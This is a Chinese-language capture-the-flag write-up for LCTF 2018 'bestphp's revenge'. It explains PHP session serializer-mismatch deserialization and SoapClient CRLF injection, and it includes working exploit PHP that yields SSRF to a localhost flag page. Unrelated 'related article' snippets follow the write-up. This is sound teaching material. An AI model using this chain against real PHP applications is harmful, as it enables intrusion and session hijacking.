[LCTF 2018]bestphp‘s revenge
文章目录
- 前置知识
- call_user_func()函数
- session反序列化
- PHP原生类SoapClient
- 解题步骤
前置知识
call_user_func()函数
把第一个参数作为回调函数调用
eg:通过函数的方式回调
<?php function barber($type){echo "you wanted a $type haircut, no problem\n";}call_user_func('barber','mushroom');
若调用类中的静态方法
结构为call_user_func(array("nss","ctf"))
class nss{static function ctf(){include("./hint2.php");}
}
解释:使用 call_user_func() 函数时,需要传递一个数组作为第一个参数。数组的第一个元素是类名,第二个元素是要调用的静态方法名。
session反序列化
我们先通过一个样例代码,看看3种不同的 session 序列化处理器处理 session 的情况。
<?php
session_start();
$_SESSION['name'] = 'mochazz';
?>
当 session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";
当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}
当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";
而当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞
php引擎会以|作为作为key和value的分隔符,我们在传入内容的时候,比如传入
$_SESSION['name'] = '|username'
那么使用php_serialize引擎时可以得到序列化内容
a:1:{s:4:"name";s:9:"|username";}
然后用php引擎反序列化时,|被当做分隔符,于是
a:1:{s:4:"name";s:9:"
被当作key
username
被当做vaule进行反序列化
于是,我们只要传入下面结构即可触发漏洞
$_SESSION['name'] = |序列化内容
PHP原生类SoapClient
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
- 通过调用SoapClient不存在的方法,触发SoapClient的__call魔术方法
- 通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
由于其内置类有__call方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中(结合CRLF注入)
示例如下
<?php
$target = 'http://127.0.0.1/flag.php'; //SSRF
$post_string = 'token=ctfshow'; //要post的命令
$ua="ctfshow\r\nCookie:PHPSESSID=123456\r\n";
$a=new SoapClient(null, array('uri'=>'http://127.0.0.1/','location'=>$target,'user_agent'=>$ua));
echo urlencode(serialize($a));
可ssrf伪造为
user_agent:ctfshow
Cookie:PHPSESSID=123456
解题步骤
打开题目,源码如下
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
可以发现启用了session_start(),并且存在session反序列化漏洞,然后取session的第一项与welcome_to_the_lctf2018构成数组,进行implode函数拼接
我们扫描一下目录,发现有flag.php,直接访问得到提示
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){$_SESSION['flag'] = $flag;}
only localhost can get flag!
说明我们要伪造ip,这里我们便可以利用 SoapClient 类的 __call 方法来进行 SSRF
思路就是利用SoapClient 类构造出ssrf的序列化字符串,然后利用call_user_func修改配置,造成序列化与反序列化引擎不同的漏洞,然后调用extract函数去变量覆盖,调用SoapClient类,从而触发__call 方法
第一步:由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header ,构造 SoapClient 类,并用php_serialize引擎进行序列化,存入session
PHP 7 中 session_start () 函数可以接收一个数组作为参数,可以覆盖 php.ini 中 session的配置项。这个特性也引入了一个新的 php.ini 设置(session.lazy_write)
我们可以利用回调函数,通过给f传参,值为session_start,然后post提交array(‘serialize_handler’=>‘php_serialize’)
即达到session_start(array(‘serialize_handler’ => ‘php_serialize’)) ,将会根据php7特性设置session.serialize_handler=php_serialize。而又因为session是可控的,可以通过传入name值,任意伪造。这里就想到name传入的是序列化值了
exp构造如下
<?php
$target = 'http://127.0.0.1/flag.php'; //SSRF
$ua="ctfshow\r\nCookie:PHPSESSID=123\r\n";
$a=new SoapClient(null, array('uri'=>'http://127.0.0.1/','location'=>$target,'user_agent'=>$ua));
echo "|".urlencode(serialize($a));
然后bp抓包,修改参数值

实现session伪造,然后就是调用extract函数变量覆盖题目的implode函数,使得再次调用call_user_func函数,构造出下面命令
call_user_func(array("SoapClient","welcome_to_the_lctf2018"))
然后成功调用__call方法,从而发送 HTTP 和 HTTPS 请求进行ssrf

最后直接在index.php处用cookie值123456即可
(因为该cookie是我们ssrf伪造的,所以cookie对应的是请求127.0.0.1)

相关文章:
[LCTF 2018]bestphp‘s revenge
文章目录 前置知识call_user_func()函数session反序列化PHP原生类SoapClient 解题步骤 前置知识 call_user_func()函数 把第一个参数作为回调函数调用 eg:通过函数的方式回调 <?php function barber($type){echo "you wanted a $type haircut, no problem\n";}c…...
HTML中常用表单元素使用(详解!)
Hi i,m JinXiang ⭐ 前言 ⭐ 本篇文章主要介绍HTML中常用表单元素使用以及部分理论知识 🍉欢迎点赞 👍 收藏 ⭐留言评论 📝私信必回哟😁 🍉博主收将持续更新学习记录获,友友们有任何问题可以在评论区留言 …...
掌握C++模板的艺术:类型参数、默认值和自动推导
掌握C模板的艺术:类型参数、默认值和自动推导 模板参数 类型模板参数 在 Grid 示例中,Grid 模板有一个模板参数:存储在网格中的类型。编写类模板时,您需要在尖括号内指定参数列表,例如: template <typename T&g…...
Unity_使用FairyGUI搭建登录页面
Unity_使用FairyGUI搭建登录页面 1. 使用FairyGUI准备一个UI界面,例如:以下登录 2. 发布导出(发布路径设置为Unity的Asset下任何路径) 3. Unity编辑器安装FairyGUI包资源(在资源商店找见并存储为我的资源,…...
百岁时代即将来临,原知因成为消费新潮流
什么叫长寿时代?泰康保险首席执行官陈东升指出:长寿时代,就是百岁人生即将来临,人人带病长期生存。而在这个时代,人类最大的变化在于“生命尺度的改变”,比如过去20岁是年轻人,40岁中年人,60岁…...
16:00的面试,16:07就出来了,问的问题过于变态了。。。
从小厂出来,没想到在另一家公司又寄了。 到这家公司开始上班,加班是每天必不可少的,看在钱给的比较多的份上,就不太计较了。没想到六月一纸通知,所有人不准加班,加班费不仅没有了,薪资还要降40…...
VUE宝典之el-dialog使用
文章目录 🍁前言🍁el-dialog简介🍁el-dialog属性🍁el-dialog示例🍁父子组件值传递示例 🍁前言 el-dialog是Element UI库中的一个重要组件,用于在Vue应用程序中创建弹出框。它提供了一组实用的属…...
Cocos Creator:坐标系
Cocos Creator:坐标系 坐标系节点位置坐标转换v3.8 实现原理(不想了解可以直接跳过)简单示例:(干货or解决方案在这里!) 锚点缩放和旋转 总结心得 在 Cocos Creator 3.8 中,节点坐标系…...
logback日志框架使用
依赖引入 <dependency><groupId>ch.qos.logback</groupId><artifactId>logback-classic</artifactId><version>1.1.7</version> </dependency> 使用logback日志框架只需要引入以上即可,(我们平时使用较多的Slf4j…...
【八】python装饰器模式
文章目录 8.1 装饰器模式简介8.2 装饰器模式作用8.3 装饰器模式构成8.3.1 装饰器模式包含以下几个核心角色:8.3.2 UML类图 8.4 装饰器模式python代码实现8.4.1 基本装饰器的使用8.4.2 多个装饰器的执行顺序8.4.3 带返回值的装饰器的使用8.4.4 装饰器模式-关联类模式…...
Unity-小工具-LookAt
Unity-小工具-LookAt 🥙介绍 🥙介绍 💡通过扩展方法调用 gameObject.LookAtTarget,让物体转向目标位置 💡gameObject.StopLookat 停止更新 💡可以在调用时传入自动停止标记,等转向目标位置后自…...
TCP实现一对一聊天
一,创建类 二,类 1.ChatSocketServer类 import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.net.ServerSocket; import java.net.Socket; import java.util.Sca…...
全面高压化与全面超快充,破解新能源汽车的时代难题
是什么让新能源车主感到疲惫与焦虑?是什么阻挡更多消费者选择新能源汽车?我们在身边进行一个简单的调查就会发现,问题的答案非常一致:充电。 充电难,充电慢的难题,始终是困扰新能源汽车产业发展,…...
02 CSS基础入门
文章目录 一、CSS介绍1. 简介2. 相关网站3. HTML引入方式 二、选择器1. 标签选择器2. 类选择器3. ID选择器4. 群组选择器 四、样式1. 字体样式2. 文本样式3. 边框样式4. 表格样式 五、模型和布局1. 盒子模型2. 网页布局 一、CSS介绍 1. 简介 CSS主要用于控制网页的外观&#…...
MyBatis框架中的5种设计模式总结
前言 MyBatis框架中使用的5种设计模式分别是:1、建造者模式(生成器模式)。2、工厂模式。3、单例模式。4、代理模式。5、适配器模式。 1、建造者模式(生成器模式) 在MyBatis环境的初始化过程中,SqlSessio…...
ffmpeg相关命令
视频转码 dav转化为mp4格式 ffmpeg -i 2021-08-10.dav -codec copy 11.mp4二进制文件转为mp4格式 // -c:v 指定视频流编码器,不指定编码会默认用mp4这种容器的默认音视频编码进入编码 // copy:不重新编码直接copy源视频流ffmpeg -i 1701687125-4fc72a…...
锂电3V升12V1A升压芯片WT3209
锂电3V升12V1A升压芯片WT3209 WT3209是一款高功率密度全集成BOOST升压转换器,具备高效能解决方案。3V升12V1A,5V升12V1A WT3209内部集成的功率MOSFET管导通电阻为上管13mΩ和下管11mΩ,具备2A开关电流能力,并且能够提供高达12.6V的输出电压。…...
Unity 置顶OpenFileDialog文件选择框
置顶文件选择框 🌭处理前🥙处理后 🌭处理前 🥙处理后 解决方案...
oomall课堂笔记
一、项目分层结构介绍 controller层(控制器层): 作用:负责输出和输入,接收前端数据,把结果返回给前端。 1.处理用户请求,接收用户参数 2.调用service层处理业务,返回响应 servi…...
Qt6.5类库实例大全:QFrame
哈喽大家好,我是20YC小二!欢迎扫码关注公众号,现在可免费领取《C程序员》在线视频教程哦! ~下面开始今天的分享内容~ 1. QFrame介绍 QFrame是Qt框架中的一个框架控件类,主要用于在图形用户界面(GUI)中创建框架&#…...
零碳园区绿电直供技术的挑战与解决方案
一、难点问题 二次系统+储能推高初投 篇幅有限仅展示了部分 根据650号文 ,绿电直连项目必须配置继电保护、安全稳定控制装置和通信设备等二次系统 ,以确保项目的安全性和稳定性。这些强制性配置显著增加了项目的初始投资成本。 专线造价与全周…...
从LVGL官方例程到自定义界面:在Windows上用CodeBlocks模拟器快速玩转GUI设计
从LVGL官方例程到自定义界面:在Windows上用CodeBlocks模拟器快速玩转GUI设计 对于嵌入式开发者而言,图形用户界面(GUI)设计往往需要在硬件平台上反复烧录测试,效率低下。而LVGL模拟器配合CodeBlocks的组合,为开发者提供了一个在PC…...
手把手教你改造10块钱的USBASP烧录器,让它兼容Arduino IDE和AVRDUDESS
10元USBASP烧录器改造实战:解锁Arduino与AVRDUDESS全兼容方案 从闲置到全能:低成本硬件改造的价值探索 在电子制作和嵌入式开发领域,专业烧录工具往往价格不菲。但你可能不知道,手头那台吃灰的"智峰"版USBASP烧录器&…...
RK3588开发板16GB LPDDR5与64GB eMMC性能解析与实战指南
1. 项目概述:当旗舰开发板遇上LPDDR5与超大存储最近在嵌入式圈子里,关于瑞芯微RK3588这颗“性能猛兽”的讨论热度一直没降下来。作为目前国产SoC里妥妥的旗舰,它集成的四核A76四核A55的CPU架构、高达6Tops算力的NPU,以及丰富的多媒…...
【免费下载】 MATLAB 3D 极坐标绘图示例:天线三维方向图【matlab下载】
MATLAB 3D 极坐标绘图示例:天线三维方向图 项目介绍 在科学计算和工程设计领域,MATLAB一直是数据可视化和仿真的强大工具。然而,当涉及到在三维空间中使用极坐标系统进行绘图时,MATLAB的标准绘图函数如surf和mesh就显得力不从心。…...
【亲测免费】 Zynq平台网络芯片RTL8211FD配置资源推荐
Zynq平台网络芯片RTL8211FD配置资源推荐 【下载地址】Zynq使用网络芯片RTL8211FD资源文件 本仓库提供了一个用于Zynq平台使用网络芯片RTL8211FD的资源文件。由于Xilinx的源代码默认不支持RTL8211FD,本资源文件中的程序可以替代Xilinx的默认配置,使得Zynq…...
Solidworks 2018+ 机器人模型避坑指南:用SW2URDF插件导出URDF,再导入Webots R2023a完整流程
SolidWorks 2018机器人模型导入Webots全流程避坑指南 在机器人仿真领域,将SolidWorks设计的机械模型准确导入Webots仿真环境是一个关键但充满挑战的环节。许多工程师和学生在初次尝试这一流程时,往往会在版本兼容性、文件路径、坐标系设置等环节遭遇各种…...
2026年热门抠图软件怎么选?好用的抠图工具实测对比指南
抠图需求在生活和工作中越来越常见——无论是制作证件照、电商产品展示,还是社交媒体内容编辑,一款趁手的抠图工具能省去大量时间。但市面上的抠图软件五花八门,功能各不相同,如何找到最适合自己的那一款?本文将从多个…...
统一去马赛克与降噪技术:ESUM模型解析与应用
1. 项目概述:统一去马赛克与降噪技术研究 在数字图像处理领域,去马赛克(Demosaicing)是图像信号处理(ISP)流水线中最关键的步骤之一。这项技术负责将传感器捕获的原始拜耳模式(Bayer Pattern&am…...
如何永久保存微信聊天记录:WeChatMsg开源工具的完整解决方案
如何永久保存微信聊天记录:WeChatMsg开源工具的完整解决方案 【免费下载链接】WeChatMsg 提取微信聊天记录,将其导出成HTML、Word、CSV文档永久保存,对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.com/GitHub_Trending/we…...
